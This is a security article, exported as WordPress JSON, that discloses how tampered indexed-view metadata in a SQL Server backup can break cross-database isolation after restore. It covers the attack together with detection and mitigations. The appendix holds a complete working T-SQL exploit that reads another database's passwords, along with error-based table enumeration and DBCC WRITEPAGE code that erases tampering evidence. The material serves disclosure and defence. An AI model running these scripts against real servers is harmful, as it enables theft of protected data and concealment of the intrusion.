{"id":110071,"date":"2026-05-18T12:00:00","date_gmt":"2026-05-18T12:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=110071"},"modified":"2026-05-13T15:52:15","modified_gmt":"2026-05-13T15:52:15","slug":"how-tampered-indexed-view-metadata-can-break-cross-database-isolation-in-sql-server","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/how-tampered-indexed-view-metadata-can-break-cross-database-isolation-in-sql-server\/","title":{"rendered":"How tampered indexed-view metadata can break cross-database isolation in SQL Server"},"content":{"rendered":"\n

Indexed view tampering in SQL Server backups can expose cross-database data after restore. In this article, you’ll learn how restore-boundary attacks work – and how to defend against them.<\/strong><\/p>\n\n\n\n

In my previous article<\/a>, I showed how SQL Server\u2019s<\/a> own internal mechanisms could be used as a data exfiltration channel when a tampered backup crossed the restore boundary. This time, I want to explore a different variation of the same broader problem.<\/p>\n\n\n\n

This article describes a restore-boundary weakness involving indexed views<\/a>. An attacker prepares a database backup on an attacker-controlled instance, tampers with the persisted definition of an indexed view, and delivers that database through an otherwise ordinary backup-and-restore workflow. <\/p>\n\n\n\n

After the restore, SQL Server evaluates the preserved metadata<\/a> during indexed-view optimizer-driven execution. Data from databases the attacker cannot directly query may still be pulled into the attacker’s own restored database through trusted internal processing paths. This is a clear cross-database confidentiality<\/a> problem.<\/p>\n\n\n\n

Why is it so dangerous?<\/h4>\n\n\n\n

The attacker doesn’t need code execution on the host, elevated server privileges<\/a> on the target, or direct access to the victim database. The hard part happens offline, before the backup is ever restored. On the target system, the attacker only needs the ability to restore the crafted backup and perform normal operations inside the restored database.<\/p>\n\n\n\n

That turns restore itself into part of the attack surface. Microsoft explicitly warns<\/a> that restoring backups from unknown or untrusted sources is a high-risk action because a malicious backup can compromise the wider environment before defensive checks run.<\/p>\n\n\n\n

\"An
The restore-boundary attack flow in SQL Server<\/em><\/figcaption><\/figure>\n\n\n\n

SQL Server indexed views from a security perspective<\/h2>\n\n\n\n

Indexed views<\/a> are not ordinary views<\/a>. SQL Server requires them to be schema-bound, deterministic, and backed by a unique clustered index<\/a>. Their contents are materialized and maintained as underlying base tables change. Microsoft also notes that data manipulation language (DML)<\/a> against base tables referenced by indexed views can incur additional maintenance cost, because the engine updates the indexed views as part of normal processing. <\/p>\n\n\n\n

In other words, indexed views are deeply integrated into trusted engine behavior. That makes them especially interesting from a security perspective. They are engine-managed objects that participate in maintenance and optimization decisions – not just stored query text.<\/p>\n\n\n\n

That trusted status is exactly what makes persisted tampering<\/a> dangerous. If an attacker can alter the stored definition offline and preserve that altered state inside a backup, the engine may later treat the restored object as legitimate metadata. The definition would never have passed ordinary T-SQL<\/a> validation.<\/p>\n\n\n\n

SQL Server indexed views: the security vulnerabilities explained<\/h3>\n\n\n\n
\"A
Where the trust boundary fails<\/em><\/figcaption><\/figure>\n\n\n\n

At the heart of the issue is a mismatch between how SQL Server validates metadata when it’s created, and how it treats the same metadata after restore. Under normal conditions, indexed views are subject to strict rules. But if an attacker directly modifies the persisted definition on an attacker-controlled instance using a DAC connection<\/a> and allow updates, those rules can be bypassed offline. <\/p>\n\n\n\n

Once the altered database is backed up, the resulting .bak file becomes a vehicle for transporting attacker-influenced metadata across an administrative trust boundary. When that backup is restored elsewhere, the metadata is loaded as part of the database state rather than reconstructed from a trusted logical definition.<\/p>\n\n\n\n

\n
\n\n

Key insight<\/strong>
The restore path does not regenerate view definitions from trusted sources – it loads them directly from a persisted database state. These can carry attacker-controlled logic that SQL Server’s own maintenance routines will later execute.<\/p>\n\n<\/div>\n<\/div> \n\n\n

The security consequence is subtle but serious. The attacker’s login on the target instance may be correctly denied direct access to another database. However, a later DML operation inside the attacker’s own restored database can trigger indexed-view optimizer-driven execution that consults the tampered metadata. If that metadata includes logic that reaches across databases, SQL Server ends up performing work that defeats the intended isolation boundary.<\/p>\n\n\n\n

\n
\n
\n
\n

Protect your data. Demonstrate compliance.<\/h3>\n
\n With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery & masking, and demonstrate compliance with traceability across every environment. <\/div>\n <\/div>\n Learn more<\/a>\n <\/div>\n <\/div>\n<\/section>\n\n\n

How an attacker can take advantage of this vulnerability, step-by-step <\/h3>\n\n\n\n

The proof of concept unfolds across four stages:<\/p>\n\n\n\n

Step 1 \u2014 Offline preparation: <\/strong>The attacker creates a legitimate database with a properly formed indexed view on an attacker-controlled SQL Server instance. Once the database is structurally sound, the attacker updates the persisted view definition directly in sys.sysobjvalues. The new definition includes a cross-database subquery that would never pass normal data definition language (DDL)<\/a> validation. The database is backed up, producing the payload .bak file.<\/p>\n\n\n\n

Step 2 \u2014 Restore and permission check: <\/strong>On the target SQL Server instance, the attacker restores the crafted backup and receives access only to the restored database. A direct cross-database SELECT<\/code> is attempted and fails with Msg 916, which is expected as SQL Server correctly denies the explicit query.<\/p>\n\n\n\n

Step 3 \u2014 The trigger: <\/strong>The attacker recreates a helper view (vw_tmp) inside the restored database, pointing it at the target table in the protected database via a FOR XML<\/code> query. The attacker then inserts a row into the base table behind the indexed view. That DML operation triggers indexed-view maintenance. The engine consults the tampered persisted definition, which now includes logic referencing the protected database.<\/p>\n\n\n\n

Step 4 \u2014 Data exfiltration: <\/strong>When the attacker queries the indexed view using WITH(NOEXPAND)<\/code>, the XML<\/a> column contains rows from the protected database usernames and passwords. This is despite the attacker’s login never having been granted direct access to that database.<\/p>\n\n\n\n

\"An
Direct access denied – indirect access succeeds<\/em><\/figcaption><\/figure>\n\n\n\n
\n
\n\n

NOT SQL INJECTION<\/strong>
This is a trust failure in persisted engine metadata. The malicious code is inserted offline, preserved in a backup, and executed indirectly by trusted internal engine behavior. Parameterization<\/a>, code review<\/a>, and application-level hardening do not address it.<\/p>\n\n<\/div>\n<\/div> \n\n\n

How to enumerate unknown schemas via error-based injection<\/h2>\n\n\n\n

Reading from a known table is bad enough but, when the attacker doesn’t know the target schema, the technique can still be used. It just requires a few more steps, as I describe in this article<\/a>.<\/p>\n\n\n\n

The idea is to reveal the table names by using the error messages. By pointing vw_tmp at SensitiveData.sys.tables and adding a predicate that provokes a CONVERT(INT, ...)<\/code> failure before access checks complete, the engine returns an error message containing the table name that caused the failure. <\/p>\n\n\n\n

The attacker can then iterate through table names one at a time, excluding already-discovered names in successive queries, until the full schema is mapped. They then pivot back to XML<\/a> extraction via the indexed view path.<\/p>\n\n\n\n

The risks of restored metadata – can (and should) you trust it?<\/h2>\n\n\n\n

It’s tempting to dismiss this as an edge case involving unsupported catalog manipulation, but that misses the point. The real issue is not whether direct system-table writes are a supported workflow – it’s whether a downstream SQL Server instance should trust metadata that crossed a restore boundary without revalidation.<\/p>\n\n\n\n

This is especially relevant in managed, hosted, or multi-tenant SQL Server environments where customers are permitted to import their own backups. In those settings, restore is a content-ingestion mechanism for persisted database state, including metadata that shapes how trusted engine subsystems behave.<\/p>\n\n\n\n

Microsoft’s official guidance<\/a> now states explicitly that restoring backups from unknown or untrusted sources is equivalent to loading untrusted executable code into the environment. That framing directly supports the architectural concern described here.<\/p>\n\n\n\n

How to interpret Msg 3859 as a security alert<\/h2>\n\n\n\n

SQL Server can leave behind evidence of unsupported catalog modification. When the system base tables of a database were modified directly in the past, SQL Server surfaces warning Msg 3859 during restore and<\/em> when DBCC CHECKCATALOG<\/code> is run:<\/p>\n\n\n\n

Msg 3859, State 1:
Warning: The system catalog was updated directly in database ID 7, most recently at Oct 2 2025 10:19AM.<\/em><\/p>\n\n\n\n

That warning deserves to be elevated from a background note to a concrete defensive trigger. A successful restore should never be treated as evidence that a backup is safe.<\/p>\n\n\n\n

Where does SQL Server store that evidence?<\/h4>\n\n\n\n

The evidence behind Msg 3859 is persisted inside the database file itself, specifically in the boot page: page 9 of file 1. That information can be observed with the undocumented DBCC DBINFO<\/code> command – for example:<\/p>\n\n\n\n

-- Inspect the boot page metadata\nDBCC DBINFO(AppDB) WITH TABLERESULTS, NO_INFOMSGS<\/pre><\/div>\n\n\n\n
This returns a row for dbi_updSysCatalog, showing the timestamp of the last direct catalog write:<\/p>\n\n\n\n
ParentObject\u00a0\u00a0\u00a0\u00a0<\/td>Object<\/td>Field<\/td>Value<\/td><\/tr>
DBINFO STRUCTURE:<\/td>DBINFO @0x00000097195F2DB0<\/td>dbi_updSysCatalog<\/td>2025-10-02 10:19:29.877<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
Additionally, DBCC PAGE<\/code> allows inspection of the raw bytes on the boot page:<\/p>\n\n\n\n
DBCC TRACEON(3604)\nDBCC PAGE(Sword_of_Omens, 1, 9, 1) WITH NO_INFOMSGS;\nGO<\/pre><\/div>\n\n\n\n
The raw page dump reveals the timestamp value embedded at a known offset:<\/p>\n\n\n\n
...\nSlot 0, Offset 0x60, Length 1786, DumpStyle BYTE\nRecord Type = PRIMARY_RECORD        Record Attributes = Record Size = 1786\n...\n0000000000000244:   00000000 00000000 00000000 00000000 00000000  ....................\n0000000000000258:   00000000 00000000 00000000 00000000 00000000  ....................\n000000000000026C:   00000000 00000000 00000000 7326aa00 6ab30000  ............s&\u00aa.j\u00b3..\n0000000000000280:   27000000 2b050000 01000000 c2465d00 a1b30000  '...+.......\u00c2F].\u00a1\u00b3..\n...<\/pre><\/div>\n\n\n\n
Anatomy of dbi_updSysCatalog<\/strong><\/h4>\n\n\n\n
The dbi_updSysCatalog field is an 8-byte value stored at the end of offset 0x26C (620 decimal). In the example above, those bytes are 73 26 AA 00 6A B3 00 00. The absolute byte offset within the page is:<\/p>\n\n\n\n
96 (page header) + 620 (slot offset) + 4 + 4 + 4 = offset 728<\/pre><\/div>\n\n\n\n
This is the exact location that defenders can inspect, so attackers may attempt to zero it out. For defenders, this is useful because the warning is not just a transient restore-time message. It is, in fact, backed by a value stored in the database file itself. This makes it possible to validate whether a database has a history of direct catalog modification even after <\/em>the restore has completed – and even if the Msg 3859 output wasn’t captured at restore time.<\/p>\n\n\n\n
From a security standpoint, dbi_updSysCatalog is an important forensic artifact. Providing a durable clue that unsupported catalog writes occurred, it can help distinguish an ordinary restored database from one that may have been altered specifically to smuggle dangerous metadata across the restore boundary. <\/p>\n\n\n\n
Any environment that permits backup import or restore from untrusted sources should treat this field as part of the review process. A restore pipeline that checks for Msg 3859, validates the boot-page indicators, and escalates suspicious databases for deeper analysis, is very resilient. On the contrary, one that simply assumes that a successful restore implies a trustworthy backup, is not<\/em> resilient.<\/p>\n\n\n\n
How attackers can suppress these warnings<\/h2>\n\n\n\n
Knowing that dbi_updSysCatalog is the forensic signal, a determined attacker may attempt to zero it out before delivering the backup. This can be done using DBCC WRITEPAGE<\/a><\/code> – an undocumented command that allows direct writes to page data. Writing all-zero bytes to offset 728 sets the timestamp to the SQL Server internal equivalent of 1900-01-01<\/em>, which effectively clears the tampering indicator.<\/p>\n\n\n\n
Example of an attacker’s anti-forensics technique (in detail)<\/h3>\n\n\n\n
The steps below document a method an attacker could use to erase catalog-tampering evidence before creating the malicious backup. This is included for defender awareness, so that the absence of Msg 3859 is not<\/em> treated as proof that a backup is clean!<\/p>\n\n\n\n
-- Set database to single-user to allow page writes\nALTER DATABASE AppDB SET SINGLE_USER WITH ROLLBACK IMMEDIATE;\nGO\n-- Disable page verify checksum to avoid checksum mismatch error after the write\nALTER DATABASE AppDB SET PAGE_VERIFY NONE;\nGO\n-- Zero out the dbi_updSysCatalog field at boot page offset 728 (8 bytes)\n-- This sets the timestamp to 1900-01-01, effectively erasing the tampering record\nDBCC WRITEPAGE (AppDB, 1, 9, 728, 8, 0x0000000000000000, 1);\nGO\n-- Re-enable checksum verification\nALTER DATABASE AppDB SET PAGE_VERIFY CHECKSUM;\nGO\n-- Return database to normal multi-user access\nALTER DATABASE AppDB SET MULTI_USER;\nGO<\/pre><\/div>\n\n\n\n
After this operation, the boot page no longer carries a non-zero dbi_updSysCatalog timestamp. A subsequent restore of the modified backup won’t trigger Msg 3859 (and a DBCC CHECKCATALOG<\/code> won’t surface the warning either.)<\/p>\n\n\n\n
This is a critical implication for defenders: the absence of Msg 3859 is not proof that a restored database is clean! A sophisticated attacker will erase this indicator before packaging the backup. Defensive review must go beyond checking for the warning! It should include behavioral analysis of restored objects, inspection of indexed view definitions, and monitoring<\/a> for unusual internal query patterns after restore.<\/p>\n\n\n\n
How to defend against malicious SQL Server backups<\/h2>\n\n\n\n
\"An
Defender infographic<\/em><\/figcaption><\/figure>\n\n\n\n
Here are five concrete measures for operators and defenders:<\/p>\n\n\n
\n
    \n
  1. Treat restore as a high-risk security boundary <\/strong>\u2014 not just an administrative task. Restoring a database from outside a trusted boundary is equivalent to importing untrusted executable state.

    <\/li>\n\n\n\n
  2. Only restore backups from within a trusted boundary. <\/strong>Platform operators who allow customer-supplied backups should treat those imports with the same caution as untrusted code.

    <\/li>\n\n\n\n
  3. Audit restore events and investigate Msg 3859. <\/strong>Any database showing this warning after restore should be reviewed before being trusted in a shared environment.

    <\/li>\n\n\n\n
  4. Isolate restore workflows and restrict who holds restore privileges. <\/strong>In shared or managed environments, restore-capable principals are security-sensitive.

    <\/li>\n\n\n\n
  5. Run DBCC CHECKCATALOG<\/code> on restored databases <\/strong>as part of the acceptance process. Catalog inconsistencies may indicate prior unsupported modification.<\/li>\n<\/ol>\n<\/div>\n\n\n
    I\u2019ve reported this to Microsoft, but they say it\u2019s a known behavior, so they don\u2019t consider it a security vulnerability. Don\u2019t, therefore, expect a ‘fix’ from their side! Make sure you\u2019re implementing the right measures to prevent the issue.<\/em><\/p>\n\n\n\n
    \n    
    \n        
    \n            
    \n                
    Enjoying this article? Subscribe to the Simple Talk newsletter<\/h3>\n                
    \n                                            Get selected articles, event information, podcasts and other industry content delivered straight to your inbox.                                    <\/div>\n            <\/div>\n                                            Subscribe now<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n
    Conclusion: rethinking trust in persisted metadata<\/h2>\n\n\n\n
    The broader lesson is ultimately about one thing: trust. SQL Server assumes that certain categories of persisted metadata are safe because they were originally created under strict rules and consumed by trusted engine subsystems. However, if that metadata can be modified offline, preserved inside a backup, and accepted across a restore boundary, restore stops being a passive administrative operation. <\/p>\n\n\n\n
    Instead, it becomes part of the attack surface. The result? Cross-database confidentiality failure, whereby a user with access only to a restored database can still<\/em> influence engine behavior in ways that expose data from elsewhere on the same instance.<\/p>\n\n\n\n
    Whether the ultimate fix is metadata revalidation at restore time, logical reconstruction of indexed view definitions, or stricter distrust of persisted state crossing trust boundaries, the question in shared SQL Server environments is no longer just, “what is this user allowed to query?”<\/em>. It’s also, “what has the engine been persuaded to trust after restore?”<\/em><\/p>\n\n\n\n
    Appendix: Full Reproduction Steps (T-SQL)<\/h2>\n\n\n\n
    This appendix contains the complete T-SQL reproduction script. Test only in environments you own and control.<\/p>\n\n\n\n
    The catalog tampering step is performed on a separate attacker-controlled instance solely to generate the malicious backup. Exploitation on the target instance requires only the ability to restore the backup and run DML inside the restored database under a low-privileged tenant login.<\/em><\/p>\n\n\n\n
    How to create a tampered database to be restored (step 1)<\/h3>\n\n\n\n
    (Run on attacker-controlled instance)<\/em><\/p>\n\n\n\n
    \/* Step 1. Create a tampered DB to be restored *\/\n-- Create a db\nUSE master\nGO\nIF DB_ID('AppDB') IS NOT NULL\nBEGIN\n  ALTER DATABASE AppDB SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE AppDB\nEND\nCREATE DATABASE AppDB\nGO\nUSE AppDB\nGO\n-- Creating a couple of tables on AppDB\nDROP VIEW IF EXISTS vw_indexed\nDROP VIEW IF EXISTS vw_tmp\nDROP TABLE IF EXISTS tblTest1\nGO\nCREATE TABLE tblTest1 (RowID INT)\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT *\n      FROM tblTest1\n      FOR XML AUTO, BINARY BASE64) AS t(MyData)\nGO\n\n-- Creating an indexed view\nCREATE VIEW vw_indexed\nWITH SCHEMABINDING\nAS\nSELECT RowID,\n       CONVERT(XML, '') AS MyData\nFROM dbo.tblTest1\nGO\nCREATE UNIQUE CLUSTERED INDEX ixView ON vw_indexed(RowID)\nGO\n\n\/* Stop the instance -- net stop \"SQL Server (SQL2022)\" *\/\n\/* Start has single user -- net start \"SQL Server (SQL2022)\" \/m\"TestSQLFabiano\" *\/\n\/* Make sure you are adjusting SSMS additional connection parameters to add the app name (Application Name=TestSQLFabiano) and connect as DAC *\/\n \n\/* Enable allow updates config *\/\nUSE master\nGO\nsp_configure 'allow updates',1\nGO\nRECONFIGURE WITH OVERRIDE\nGO\n\n\/* This need to be executed with SQL on single user and from a DAC connection *\/\n\/* Update view code to add read data from inline function *\/\nUSE AppDB\nGO\nDECLARE @NewCode VARCHAR(MAX)\nSET @NewCode = 'CREATE VIEW vw_indexed\nWITH SCHEMABINDING\nAS\nSELECT RowID,\n       CONVERT(XML, (SELECT MyData FROM dbo.vw_tmp)) AS MyData\nFROM dbo.tblTest1'\n\nUPDATE sys.sysobjvalues SET imageval = CONVERT(VARBINARY(MAX), @NewCode)\nWHERE objid = OBJECT_ID('vw_indexed')\nAND value = 2\nGO\nCHECKPOINT\nGO\n\n\/* Stop the instance -- net stop \"SQL Server (SQL2022)\" *\/\n\/* Start the instance -- net start \"SQL Server (SQL2022)\" *\/\n\/* Reconnect on SQL using a non-dac connection *\/\n \n\/* Backup the DB, we'll restore this on instance we want to hack *\/\nEXEC xp_cmdshell 'del \/Q C:\\Temp\\Backup\\AppDB.bak', NO_OUTPUT\nGO\n-- Backup DB\nBACKUP DATABASE AppDB TO DISK = N'C:\\Temp\\Backup\\AppDB.bak' \nWITH NAME = N'AppDB-Full Database Backup'\nGO<\/pre><\/div>\n\n\n\n
    How to create a database with sensitive data (step 2)<\/h3>\n\n\n\n
    (Run on target instance)<\/em><\/p>\n\n\n\n
    \/* Step 2. Create Database with Sensitive Data *\/\nUSE master\nGO\nIF DB_ID('SensitiveData') IS NOT NULL\nBEGIN\n  ALTER DATABASE SensitiveData SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE SensitiveData\nEND\nCREATE DATABASE SensitiveData\nGO\nUSE SensitiveData\nGO\nDROP TABLE IF EXISTS TabUsers;\nGO\nCREATE TABLE TabUsers ([RowID]    INT IDENTITY(1, 1) NOT NULL, \n                   [UserName] VARCHAR(200), \n                   [Password] VARCHAR(200));\nGO\nINSERT INTO TabUsers([UserName], [Password]) \nVALUES('User1', 'pwd1'), \n      ('User2', 'pwd2'), \n      ('User3', 'pwd3'), \n      ('User4', 'pwd4'), \n      ('User5', 'pwd5');\nGO\nDROP TABLE IF EXISTS TabTest1;\nCREATE TABLE TabTest1 (ID INT);\nGO\nDROP TABLE IF EXISTS TabTest2;\nCREATE TABLE TabTest2 (ID INT);\nGO<\/pre><\/div>\n\n\n\n
    How to restore AppDB.bak on target instance (step 3)<\/h3>\n\n\n\n
    \/* Step 3. Restore AppDB.bak on instance you want to hack *\/\n-- Remove DB\nUSE master\nGO\nIF DB_ID('AppDB') IS NOT NULL\nBEGIN\n  ALTER DATABASE AppDB SET SINGLE_USER WITH ROLLBACK IMMEDIATE\n  DROP DATABASE AppDB\nEND\nGO\n-- Restore AppDB\nRESTORE DATABASE AppDB FROM DISK = N'C:\\Temp\\Backup\\AppDB.bak' \nWITH FILE = 1, NOUNLOAD\nGO<\/pre><\/div>\n\n\n\n
    Creating a low-privileged login (step 4)<\/h3>\n\n\n\n
    \/* Step 4. Create a login AppLogin and only give it access to AppDB *\/\nUSE master\nGO\nIF SUSER_ID('AppLogin') IS NULL\n  CREATE LOGIN AppLogin WITH PASSWORD=N'102030', CHECK_POLICY=OFF\nGO\nUSE AppDB\nGO\nDROP USER IF EXISTS AppLogin\nCREATE USER AppLogin FOR LOGIN AppLogin;\nALTER ROLE [db_owner] ADD MEMBER AppLogin;\nGO<\/pre><\/div>\n\n\n\n
    How to access data from any database (step 5)<\/h3>\n\n\n\n
    \/* Step 5. Access any data from any DB *\/\n-- AppLogin doesn't have access to SensitiveData db\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nSELECT * FROM SensitiveData.dbo.TabUsers\nGO\n\/*\nMsg 916, Level 14, State 2, Line 47\nThe server principal \"AppLogin\" is not able to access the database \"SensitiveData\" under the current security context.\n*\/\nREVERT;\nGO\n\n\/*\n  If you know the table name of DB you want to access,\n  you can use the vw_tmp and the indexed view to access it.\n  For instance, if I want to access SensitiveData.dbo.TabUsers, \n  I can do the following: \n*\/\n\n\/* Recreate vw_tmp view to read SensitiveData.dbo.TabUsers *\/\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDROP VIEW IF EXISTS vw_tmp\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT *\n      FROM SensitiveData.dbo.TabUsers\nFOR XML AUTO, BINARY BASE64) AS t(MyData)\nGO\nREVERT;\nGO\n\n\/*\n  Insert something on tblTest1,\n  tsql in the view will be executed with an internal \n  elevated permission.\n*\/\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDELETE FROM tblTest1;\nINSERT INTO tblTest1(RowID) VALUES(1);\n-- Data from SensitiveData.dbo.TabUsers will be there on MyData column\nSELECT MyData FROM vw_indexed WITH(NOEXPAND);\n\/*\n<SensitiveData.dbo.TabUsers RowID=\"1\" UserName=\"User1\" Password=\"pwd1\" \/>\n<SensitiveData.dbo.TabUsers RowID=\"2\" UserName=\"User2\" Password=\"pwd2\" \/>\n<SensitiveData.dbo.TabUsers RowID=\"3\" UserName=\"User3\" Password=\"pwd3\" \/>\n<SensitiveData.dbo.TabUsers RowID=\"4\" UserName=\"User4\" Password=\"pwd4\" \/>\n<SensitiveData.dbo.TabUsers RowID=\"5\" UserName=\"User5\" Password=\"pwd5\" \/>\n*\/\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n
    Schema discovery via error, explained (step 5b)<\/h3>\n\n\n\n
    When the target table names aren’t known in advance, use the following technique to enumerate them via conversion errors<\/a>:<\/p>\n\n\n\n
    \/*\n  If you try to access sys.tables, it will fail because there is a validation (HAS_ACCESS function) on that  view that check if user has permission to access it.\n  To bypass this validation, we can add a predicate that will be checked before the has_access.\n  For example:\n*\/\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDROP VIEW IF EXISTS vw_tmp\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT name\n      FROM SensitiveData.sys.tables\n      WHERE (CASE\n               WHEN \n                1=1\n                AND (schema_id <> SCHEMA_ID('sys') AND name NOT IN ('')) \n                AND (CONVERT(INT, 'name = ' + name) = 0) THEN 0\n             END) = 0) AS t(MyData)\nGO\nINSERT INTO tblTest1(RowID) VALUES(2);\n\/*\nMsg 245, Level 16, State 1, Line 238\nConversion failed when converting the nvarchar value 'name = TabUsers' to data type int.\n*\/\nGO\nREVERT;\nGO\n\n\/*\n  Using the technique above, we can identify table names by\n  forcing the conversion failure to be evaluated before has_access.\n\n  Then, to read next row, we could add table name displayed in the error\n  in the filter.\n*\/\n\n-- Reading next table name\nUSE AppDB\nGO\nEXEC AS LOGIN = 'AppLogin'\nGO\nDROP VIEW IF EXISTS vw_tmp\nGO\nCREATE VIEW vw_tmp\nAS\nSELECT t.MyData\nFROM (SELECT name\n      FROM SensitiveData.sys.tables\n      WHERE (CASE\n               WHEN \n                1=1\n                AND (schema_id <> SCHEMA_ID('sys') AND name NOT IN ('TabUsers')) \n                AND (CONVERT(INT, 'name = ' + name) = 0) THEN 0\n             END) = 0) AS t(MyData)\nGO\nINSERT INTO tblTest1(RowID) VALUES(2);\n\/*\nMsg 245, Level 16, State 1, Line 274\nConversion failed when converting the nvarchar value 'name = TabTest1' to data type int.\n*\/\nGO\nREVERT;\nGO\n*\/<\/pre><\/div>\n\n\n\n
    Iterate this pattern, adding each discovered table name to the NOT IN<\/code> list to fully enumerate the schema. Once a target table is identified, pivot back to the XML extraction method in Step 5.<\/p>\n\n\n\n
    \n    
    \n        
    \n            
    \n                
    Simple Talk is brought to you by Redgate Software<\/h3>\n                
    \n                                            Take control of your databases with the trusted Database DevOps solutions provider. Automate with confidence, scale securely, and unlock growth through AI.                                    <\/div>\n            <\/div>\n                                            Discover how Redgate can help you<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n
    \n    
    FAQs: How tampered indexed-view metadata can break cross-database isolation in SQL Server<\/h2>\n\n                        
    1. What is a SQL Server restore-boundary attack?<\/h3>\n            
    \n                
    A restore-boundary attack involves tampering with database metadata offline, embedding it in a backup, and exploiting trusted SQL Server behavior after the database is restored.<\/p>\n            <\/div>\n                    
    2. How do indexed views create a security risk?<\/h3>\n            
    \n                
    Indexed views are trusted, engine-managed objects. If their persisted definitions are altered before backup, SQL Server may execute malicious logic during normal operations after restore.<\/p>\n            <\/div>\n                    
    3. Can attackers access other databases without permissions?<\/h3>\n            
    \n                
    Yes. By abusing trusted engine processes like indexed-view maintenance, attackers can indirectly retrieve data from databases they cannot directly query.<\/p>\n            <\/div>\n                    
    4. Is this a SQL injection vulnerability?<\/h3>\n            
    \n                
    No, this is not SQL injection. It\u2019s a trust issue with persisted metadata that is executed by SQL Server internally after restore.<\/p>\n            <\/div>\n                    
    5. Why are backups from untrusted sources dangerous?<\/h3>\n            
    \n                
    Because backups can contain manipulated metadata, restoring them is effectively importing untrusted executable state into your SQL Server environment.<\/p>\n            <\/div>\n                    
    6. What is Msg 3859 and why does it matter?<\/h3>\n            
    \n                
    Msg 3859 is a warning indicating past direct system catalog modification. It can signal potential tampering and should be treated as a security alert.<\/p>\n            <\/div>\n                    
    7. Can attackers hide evidence of tampering?<\/h3>\n            
    \n                
    Yes. Advanced attackers may erase forensic indicators like dbi_updSysCatalog<\/code>, meaning the absence of warnings does not guarantee safety.<\/p>\n            <\/div>\n                    
    8. How can I protect against malicious SQL Server backups?<\/h3>\n            
    \n                
    Only restore trusted backups, audit restore operations, run DBCC CHECKCATALOG, restrict restore permissions, and treat restore workflows as a security boundary.<\/p>\n            <\/div>\n            <\/section>\n","protected":false},"excerpt":{"rendered":"
    Indexed view tampering in SQL Server backups can expose cross-database data after restore. Learn how restore-boundary attacks work and how to defend against them.…<\/p>\n","protected":false},"author":65554,"featured_media":108045,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[46,143523,53,143530,143524],"tags":[4168,4170,5765,4150,4151],"coauthors":[6809],"class_list":["post-110071","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security-and-compliance","category-databases","category-featured","category-security","category-sql-server","tag-database","tag-database-administration","tag-security-and-compliance","tag-sql","tag-sql-server"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/110071","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=110071"}],"version-history":[{"count":7,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/110071\/revisions"}],"predecessor-version":[{"id":110573,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/110071\/revisions\/110573"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/108045"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=110071"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=110071"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=110071"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=110071"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}